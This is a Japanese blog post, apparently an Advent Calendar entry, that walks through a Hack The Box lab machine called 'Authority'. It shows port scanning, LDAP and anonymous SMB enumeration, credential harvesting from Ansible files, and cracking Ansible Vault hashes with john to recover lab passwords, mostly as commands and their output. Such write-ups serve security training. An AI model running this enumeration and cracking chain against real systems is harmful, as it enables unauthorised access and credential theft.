これは ZOZO Advent Calendar 2023 カレンダーVol.4の3日目の記事です。昨日の投稿は@YasuhiroKimesawaさんの「いまさら！いまこそ！ニコニコカレンダー！」でした。

初めに

本記事は Hack The Box（以下リンク参照）の「Authority」にチャレンジした際のWriteupになります。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

初期探索

まずHTBのマシンでは攻略対象のIPが1つ与えられます。
このIPに対してVPN接続越しにポートスキャンを行い、空いているPortを探します。

ポートスキャン

RustScanを利用します。

┌──(root㉿kali)-[~]
└─# rustscan -a 10.129.11.155 --top --ulimit 5000 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time ⌛

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.11.155:53
Open 10.129.11.155:80
Open 10.129.11.155:88
Open 10.129.11.155:135
Open 10.129.11.155:139
Open 10.129.11.155:389
Open 10.129.11.155:445
Open 10.129.11.155:464
Open 10.129.11.155:593
Open 10.129.11.155:636
Open 10.129.11.155:5985
Open 10.129.11.155:3269
Open 10.129.11.155:3268
Open 10.129.11.155:8443
Open 10.129.11.155:9389
Open 10.129.11.155:49664
Open 10.129.11.155:49666
Open 10.129.11.155:49667
Open 10.129.11.155:49665
Open 10.129.11.155:49671
Open 10.129.11.155:49686
Open 10.129.11.155:49687
Open 10.129.11.155:49690
Open 10.129.11.155:49689
Open 10.129.11.155:49699
Open 10.129.11.155:49714
Open 10.129.11.155:49719
Open 10.129.11.155:47001
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 21:14 EDT
Initiating Ping Scan at 21:14
Scanning 10.129.11.155 [4 ports]
Completed Ping Scan at 21:14, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:14
Completed Parallel DNS resolution of 1 host. at 21:14, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 21:14
Scanning 10.129.11.155 [28 ports]
Discovered open port 135/tcp on 10.129.11.155
Discovered open port 53/tcp on 10.129.11.155
Discovered open port 139/tcp on 10.129.11.155
Discovered open port 49666/tcp on 10.129.11.155
Discovered open port 80/tcp on 10.129.11.155
Discovered open port 3268/tcp on 10.129.11.155
Discovered open port 445/tcp on 10.129.11.155
Discovered open port 88/tcp on 10.129.11.155
Discovered open port 636/tcp on 10.129.11.155
Discovered open port 49671/tcp on 10.129.11.155
Discovered open port 8443/tcp on 10.129.11.155
Discovered open port 47001/tcp on 10.129.11.155
Discovered open port 49719/tcp on 10.129.11.155
Discovered open port 5985/tcp on 10.129.11.155
Discovered open port 49667/tcp on 10.129.11.155
Discovered open port 9389/tcp on 10.129.11.155
Discovered open port 49664/tcp on 10.129.11.155
Discovered open port 464/tcp on 10.129.11.155
Discovered open port 49665/tcp on 10.129.11.155
Discovered open port 49686/tcp on 10.129.11.155
Discovered open port 49690/tcp on 10.129.11.155
Discovered open port 49714/tcp on 10.129.11.155
Discovered open port 49689/tcp on 10.129.11.155
Discovered open port 593/tcp on 10.129.11.155
Discovered open port 49699/tcp on 10.129.11.155
Discovered open port 49687/tcp on 10.129.11.155
Discovered open port 389/tcp on 10.129.11.155
Discovered open port 3269/tcp on 10.129.11.155
Completed SYN Stealth Scan at 21:14, 0.54s elapsed (28 total ports)
Nmap scan report for 10.129.11.155
Host is up, received echo-reply ttl 127 (0.26s latency).
Scanned at 2023-07-15 21:14:52 EDT for 1s

PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
8443/tcp  open  https-alt        syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
47001/tcp open  winrm            syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
49665/tcp open  unknown          syn-ack ttl 127
49666/tcp open  unknown          syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49671/tcp open  unknown          syn-ack ttl 127
49686/tcp open  unknown          syn-ack ttl 127
49687/tcp open  unknown          syn-ack ttl 127
49689/tcp open  unknown          syn-ack ttl 127
49690/tcp open  unknown          syn-ack ttl 127
49699/tcp open  unknown          syn-ack ttl 127
49714/tcp open  unknown          syn-ack ttl 127
49719/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds
           Raw packets sent: 32 (1.384KB) | Rcvd: 29 (1.260KB)

Windows環境ぽいです。色々とPortが開いているので、情報を収集していきます。
ldapのプロトコルからルートDSA固有エントリを取得する。

┌──(root㉿kali)-[~]
└─# nmap -p 389 -n -Pn --open 10.129.11.155 --script ldap-rootdse
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-15 21:20 EDT
Nmap scan report for 10.129.11.155
Host is up (0.25s latency).

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=authority,DC=htb
|       ldapServiceName: authority.htb:authority$@AUTHORITY.HTB
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=authority,DC=htb
|       serverName: CN=AUTHORITY,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=authority,DC=htb
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=authority,DC=htb
|       namingContexts: DC=authority,DC=htb
|       namingContexts: CN=Configuration,DC=authority,DC=htb
|       namingContexts: CN=Schema,CN=Configuration,DC=authority,DC=htb
|       namingContexts: DC=DomainDnsZones,DC=authority,DC=htb
|       namingContexts: DC=ForestDnsZones,DC=authority,DC=htb
|       isSynchronized: TRUE
|       highestCommittedUSN: 266468
|       dsServiceName: CN=NTDS Settings,CN=AUTHORITY,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=authority,DC=htb
|       dnsHostName: authority.authority.htb
|       defaultNamingContext: DC=authority,DC=htb
|       currentTime: 20230716052122.0Z
|_      configurationNamingContext: CN=Configuration,DC=authority,DC=htb
Service Info: Host: AUTHORITY; OS: Windows

Nmap done: 1 IP address (1 host up) scanned in 1.41 seconds

dnsHostName: authority.authority.htbからドメインの情報がわかりました。
80のPortが開いているのでこのPortにアクセスしてみます。

ただのIISなので別のルートから情報収集します。

rpcclient

RPCが開いているので列挙できるか試します。

┌──(root㉿kali)-[~]
└─# rpcclient 10.129.11.155 -U '' -N  
rpcclient $> enumdomains
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> enumdomgroups
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> lsaquery
do_cmd: Could not initialise lsarpc. Error was NT_STATUS_ACCESS_DENIED
rpcclient $> querydominfo
do_cmd: Could not initialise samr. Error was NT_STATUS_ACCESS_DENIED
rpcclient $>

ダメでした。

SMB

Port139, 445があいているのでSMB通信が出来るか試してみる。
もしかしたらなにかヒントになるファイルが落ちている可能性があるので。
パスワードなしで見ることが出来る領域を探っていく。

┌──(root㉿kali)-[~]
└─# smbclient -N -L \\\\10.129.11.155 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        Department Shares Disk      
        Development     Disk      
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.11.155 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Development, Department Shares Diskが怪しいのでここから探っていく。
Department Shares DiskはアクセスできなかったのでDevelopment階層にアクセスしてみる。

┌──(root㉿kali)-[~/work]
└─# smbclient -N \\\\10.129.11.155\\Development
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Fri Mar 17 09:20:38 2023
  ..                                  D        0  Fri Mar 17 09:20:38 2023
  Automation                          D        0  Fri Mar 17 09:20:40 2023
cd 
                5888511 blocks of size 4096. 1335841 blocks available
smb: \> cd Automation
smb: \Automation\> dir
  .                                   D        0  Fri Mar 17 09:20:40 2023
  ..                                  D        0  Fri Mar 17 09:20:40 2023
  Ansible                             D        0  Fri Mar 17 09:20:50 2023

                5888511 blocks of size 4096. 1335841 blocks available

インフラ自動化Tool（Ansible）の階層が見える。この階層を再帰的に回収する。

smb: \Automation\> mask ""
smb: \Automation\> recurse ON
smb: \Automation\> prompt OFF
smb: \Automation\> mget *
getting file \Automation\Ansible\ADCS\.ansible-lint of size 259 as Ansible/ADCS/.ansible-lint (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\.yamllint of size 205 as Ansible/ADCS/.yamllint (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\LICENSE of size 11364 as Ansible/ADCS/LICENSE (10.9 KiloBytes/sec) (average 3.8 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\README.md of size 7279 as Ansible/ADCS/README.md (7.0 KiloBytes/sec) (average 4.6 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\requirements.txt of size 466 as Ansible/ADCS/requirements.txt (0.4 KiloBytes/sec) (average 3.8 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\requirements.yml of size 264 as Ansible/ADCS/requirements.yml (0.3 KiloBytes/sec) (average 3.2 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\SECURITY.md of size 924 as Ansible/ADCS/SECURITY.md (0.9 KiloBytes/sec) (average 2.9 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\tox.ini of size 419 as Ansible/ADCS/tox.ini (0.4 KiloBytes/sec) (average 2.5 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\.travis.yml of size 1414 as Ansible/LDAP/.travis.yml (1.4 KiloBytes/sec) (average 2.4 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\README.md of size 5768 as Ansible/LDAP/README.md (5.4 KiloBytes/sec) (average 2.7 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\TODO.md of size 119 as Ansible/LDAP/TODO.md (0.1 KiloBytes/sec) (average 2.5 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\Vagrantfile of size 640 as Ansible/LDAP/Vagrantfile (0.6 KiloBytes/sec) (average 2.3 KiloBytes/sec)
getting file \Automation\Ansible\PWM\ansible.cfg of size 491 as Ansible/PWM/ansible.cfg (0.5 KiloBytes/sec) (average 2.2 KiloBytes/sec)
getting file \Automation\Ansible\PWM\ansible_inventory of size 174 as Ansible/PWM/ansible_inventory (0.2 KiloBytes/sec) (average 2.0 KiloBytes/sec)
getting file \Automation\Ansible\PWM\README.md of size 1290 as Ansible/PWM/README.md (1.2 KiloBytes/sec) (average 2.0 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\defaults\main.yml of size 1578 as Ansible/ADCS/defaults/main.yml (1.5 KiloBytes/sec) (average 2.0 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\meta\main.yml of size 549 as Ansible/ADCS/meta/main.yml (0.5 KiloBytes/sec) (average 1.9 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\meta\preferences.yml of size 22 as Ansible/ADCS/meta/preferences.yml (0.0 KiloBytes/sec) (average 1.8 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\tasks\assert.yml of size 2936 as Ansible/ADCS/tasks/assert.yml (2.8 KiloBytes/sec) (average 1.8 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\tasks\generate_ca_certs.yml of size 2262 as Ansible/ADCS/tasks/generate_ca_certs.yml (2.2 KiloBytes/sec) (average 1.8 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\tasks\init_ca.yml of size 1244 as Ansible/ADCS/tasks/init_ca.yml (1.2 KiloBytes/sec) (average 1.8 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\tasks\main.yml of size 1359 as Ansible/ADCS/tasks/main.yml (1.3 KiloBytes/sec) (average 1.8 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\tasks\requests.yml of size 4214 as Ansible/ADCS/tasks/requests.yml (4.0 KiloBytes/sec) (average 1.9 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\templates\extensions.cnf.j2 of size 1659 as Ansible/ADCS/templates/extensions.cnf.j2 (1.6 KiloBytes/sec) (average 1.9 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\templates\openssl.cnf.j2 of size 11294 as Ansible/ADCS/templates/openssl.cnf.j2 (10.6 KiloBytes/sec) (average 2.2 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\vars\main.yml of size 2146 as Ansible/ADCS/vars/main.yml (2.0 KiloBytes/sec) (average 2.2 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\.bin\clean_vault of size 677 as Ansible/LDAP/.bin/clean_vault (0.6 KiloBytes/sec) (average 2.2 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\.bin\diff_vault of size 357 as Ansible/LDAP/.bin/diff_vault (0.3 KiloBytes/sec) (average 2.1 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\.bin\smudge_vault of size 768 as Ansible/LDAP/.bin/smudge_vault (0.7 KiloBytes/sec) (average 2.1 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\defaults\main.yml of size 1046 as Ansible/LDAP/defaults/main.yml (1.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\files\pam_mkhomedir of size 170 as Ansible/LDAP/files/pam_mkhomedir (0.2 KiloBytes/sec) (average 2.0 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\handlers\main.yml of size 277 as Ansible/LDAP/handlers/main.yml (0.3 KiloBytes/sec) (average 1.9 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\meta\main.yml of size 416 as Ansible/LDAP/meta/main.yml (0.4 KiloBytes/sec) (average 1.9 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\tasks\main.yml of size 5235 as Ansible/LDAP/tasks/main.yml (4.9 KiloBytes/sec) (average 2.0 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\templates\ldap_sudo_groups.j2 of size 131 as Ansible/LDAP/templates/ldap_sudo_groups.j2 (0.1 KiloBytes/sec) (average 1.9 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\templates\ldap_sudo_users.j2 of size 106 as Ansible/LDAP/templates/ldap_sudo_users.j2 (0.1 KiloBytes/sec) (average 1.9 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\templates\sssd.conf.j2 of size 2556 as Ansible/LDAP/templates/sssd.conf.j2 (2.4 KiloBytes/sec) (average 1.9 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\templates\sudo_group.j2 of size 30 as Ansible/LDAP/templates/sudo_group.j2 (0.0 KiloBytes/sec) (average 1.8 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\vars\debian.yml of size 174 as Ansible/LDAP/vars/debian.yml (0.2 KiloBytes/sec) (average 1.8 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\vars\main.yml of size 75 as Ansible/LDAP/vars/main.yml (0.1 KiloBytes/sec) (average 1.7 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\vars\redhat.yml of size 222 as Ansible/LDAP/vars/redhat.yml (0.2 KiloBytes/sec) (average 1.7 KiloBytes/sec)
getting file \Automation\Ansible\LDAP\vars\ubuntu-14.04.yml of size 203 as Ansible/LDAP/vars/ubuntu-14.04.yml (0.2 KiloBytes/sec) (average 1.7 KiloBytes/sec)
getting file \Automation\Ansible\PWM\defaults\main.yml of size 1591 as Ansible/PWM/defaults/main.yml (1.5 KiloBytes/sec) (average 1.7 KiloBytes/sec)
getting file \Automation\Ansible\PWM\handlers\main.yml of size 4 as Ansible/PWM/handlers/main.yml (0.0 KiloBytes/sec) (average 1.6 KiloBytes/sec)
getting file \Automation\Ansible\PWM\meta\main.yml of size 199 as Ansible/PWM/meta/main.yml (0.2 KiloBytes/sec) (average 1.6 KiloBytes/sec)
getting file \Automation\Ansible\PWM\tasks\main.yml of size 1832 as Ansible/PWM/tasks/main.yml (1.8 KiloBytes/sec) (average 1.6 KiloBytes/sec)
getting file \Automation\Ansible\PWM\templates\context.xml.j2 of size 422 as Ansible/PWM/templates/context.xml.j2 (0.4 KiloBytes/sec) (average 1.6 KiloBytes/sec)
getting file \Automation\Ansible\PWM\templates\tomcat-users.xml.j2 of size 388 as Ansible/PWM/templates/tomcat-users.xml.j2 (0.4 KiloBytes/sec) (average 1.5 KiloBytes/sec)
getting file \Automation\Ansible\SHARE\tasks\main.yml of size 1876 as Ansible/SHARE/tasks/main.yml (1.8 KiloBytes/sec) (average 1.5 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\molecule\default\converge.yml of size 106 as Ansible/ADCS/molecule/default/converge.yml (0.1 KiloBytes/sec) (average 1.5 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\molecule\default\molecule.yml of size 526 as Ansible/ADCS/molecule/default/molecule.yml (0.5 KiloBytes/sec) (average 1.5 KiloBytes/sec)
getting file \Automation\Ansible\ADCS\molecule\default\prepare.yml of size 371 as Ansible/ADCS/molecule/default/prepare.yml (0.4 KiloBytes/sec) (average 1.5 KiloBytes/sec)
smb: \Automation\>

色々ファイルがありそう。調査が大変ですな。

クレデンシャルアクセス

調査

SMB経由で収集したファイルから何か情報がないか集めると、以下のクレデンシャルが見つかりました。

┌──(root㉿kali)-[~/work/Ansible/PWM]
└─# cat ansible_inventory 
ansible_user: administrator
ansible_password: Welcome1
ansible_port: 5985
ansible_connection: winrm
ansible_winrm_transport: ntlm
ansible_winrm_server_cert_validation: ignore

┌──(root㉿kali)-[~/work/Ansible/PWM]
└─# cat defaults/main.yml        
---
pwm_run_dir: "{{ lookup('env', 'PWD') }}"

pwm_hostname: authority.htb.corp
pwm_http_port: "{{ http_port }}"
pwm_https_port: "{{ https_port }}"
pwm_https_enable: true

pwm_require_ssl: false

pwm_admin_login: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          32666534386435366537653136663731633138616264323230383566333966346662313161326239
          6134353663663462373265633832356663356239383039640a346431373431666433343434366139
          35653634376333666234613466396534343030656165396464323564373334616262613439343033
          6334326263326364380a653034313733326639323433626130343834663538326439636232306531
          3438

pwm_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          31356338343963323063373435363261323563393235633365356134616261666433393263373736
          3335616263326464633832376261306131303337653964350a363663623132353136346631396662
          38656432323830393339336231373637303535613636646561653637386634613862316638353530
          3930356637306461350a316466663037303037653761323565343338653934646533663365363035
          6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764

┌──(root㉿kali)-[~/work/Ansible/LDAP]
└─# cat .travis.yml      
---
language: python
python: "2.7"

# Use the new container infrastructure
sudo: false

# Install ansible
addons:
  apt:
    packages:
    - python-pip

env:
  global:
    - secure: "YP54FaEPVveTtCzlJG3YPuhxUFQvbVkr1L/AA9NM9rwFciwQcLtIXD9iljD17xzoXRwvooNW90eX8XMR2zkhqzU9C+n3kHw2iQVtAdbI1X59lGAXAT7WBMlU6auFsoVzkFibHxJ1W9R1o5JE2iTdDuR0UzQNaTgLn3Dgt7iOWzwNni3dmqdtbPXY7e5x+JhlKHOU53bGnLxFVmbTWzu0Z8ZDuVvh01azHdR0sj8KmC4c8A8atZU0f2f4YyG/26tx78U6RmNFyj2UTmOHRgOtcQVOzfadbI9gZuc1U5JIkS0FEwZYaJOMYhohAqp9Aumo+cuPVJCvjaEXrlvEe4DAJ6aFigT+JR6NY7w+fgoK57HTgC/y7chY30+34ggp+/0aWmXFqdDUbFWs9ovhf0hVL4AcU+31BWdrEmuJjXAGaGMSrdTYJpMFsnjIqe3bUimH1LEm4+wogD/poGSkRsv9R7j1OeQotVDaivRh6WOBdbXEw5HENczsBzD3TztN8A54UzvVnrMnoPI+aH2uvSm/5JVvqWzWEzZHIpep7lbTgRk/1yjxQk6mXDGtrd9uo4e7ZeEr3rBqtA6qI4VggugHIbLGtqQvINdV9fOnDB1sLlslLEIKfT8BLpnDncPYYVV0r0wyC5ySP+RX7nqsixX5oOR7a1UyXBBQ9D0CX3x7x0Y="

install:
  # Install ansible
  - pip install ansible

  # Check ansible version
  - ansible --version

  # Create ansible.cfg with correct roles_path
  - printf '[defaults]\nroles_path=../' >ansible.cfg

before_script:
  - echo "$VAULT_PASSWORD" > .vault_password

script:
  # Basic role syntax check
  - ansible-playbook tests/travis.yml -i localhost, --vault-password-file .vault_password --syntax-check

notifications:
  webhooks:
    urls:
      - https://galaxy.ansible.com/api/v1/notifications/
      - https://t2d.idolactiviti.es/notify

┌──(root㉿kali)-[~/work/Ansible/ADCS/defaults]
└─# cat main.yml 
---
# defaults file for ca

# set ca_init: 'yes' to create CA
ca_init: yes

# ca_own_root: 'yes' if you want to have yout own root CA.
# if no, set ca_certificate_path manually
ca_own_root: yes

# A passphrase for the CA key.
ca_passphrase: SuP3rS3creT

# The common name for the CA.
ca_common_name: authority.htb

# Other details for the CA.
ca_country_name: NL
ca_email_address: admin@authority.htb
ca_organization_name: htb
ca_organizational_unit_name: htb
ca_state_or_province_name: Utrecht
ca_locality_name: Utrecht

┌──(root㉿kali)-[~/work/Ansible/PWM/templates]
└─# cat tomcat-users.xml.j2  
<?xml version='1.0' encoding='cp1252'?>

<tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
 version="1.0">

<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>  
<user username="robot" password="T0mc@tR00t" roles="manager-script"/>

</tomcat-users>

色々見つかったがwinrmでのログインは全部弾かれました。もう少し捻る必要がありそうです。

Ansible Vault

PWM/defaults/main.ymlの階層にあるansible vaultについて調べてみると、以下のNFLabsさんの記事を見つけた。

この手順でvaultを復号できそうなので、復号してみます。
以下のようにvaultを記載したファイルを作成します（pwm_admin_passwordを例としました）。

pwm_admin_password

$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531

これでjohnさん用にハッシュを作成します。

┌──(root㉿kali)-[~/work]
└─# ansible2john pwm_admin_password          
pwm_admin_password:$ansible$0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5

ここでjohnさんにpassフレーズを解読してもらいます。

┌──(root㉿kali)-[~/work]
└─# john hash --wordlist=./rockyou.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 128/128 SSE2 4x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&*         (pwm_admin_password)     
1g 0:00:00:40 DONE (2023-07-16 22:51) 0.02472g/s 983.7p/s 983.7c/s 983.7C/s 001983..woodson
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

同様に残り2つも解読します。

┌──(root㉿kali)-[~/work]
└─# john hash --wordlist=./rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (ansible, Ansible Vault [PBKDF2-SHA256 HMAC-256 128/128 SSE2 4x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!@#$%^&*         (pwm_admin_login)     
!@#$%^&*         (ldap_admin_password)     
2g 0:00:01:47 DONE (2023-07-16 22:55) 0.01859g/s 370.0p/s 740.0c/s 740.0C/s 001983..woodson
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

一緒のフレーズみたいなので、このフレーズを用いてansible vaultをデコードします。

┌──(root㉿kali)-[~/work]
└─# ansible-vault decrypt ldap_admin_password
Vault password: 
Decryption successful

┌──(root㉿kali)-[~/work]
└─# cat ldap_admin_password 
DevT3st@123   

┌──(root㉿kali)-[~/work]
└─# ansible-vault decrypt pwm_admin_password 
Vault password: 
Decryption successful
                                                                                                                                                            
┌──(root㉿kali)-[~/work]
└─# cat pwm_admin_password 
pWm_@dm!N_!23 

┌──(root㉿kali)-[~/work]
└─# ansible-vault decrypt pwm_admin_login   
Vault password: 
Decryption successful
                                                                                                                                                            
┌──(root㉿kali)-[~/work]
└─# cat pwm_admin_login                  
svc_pwm

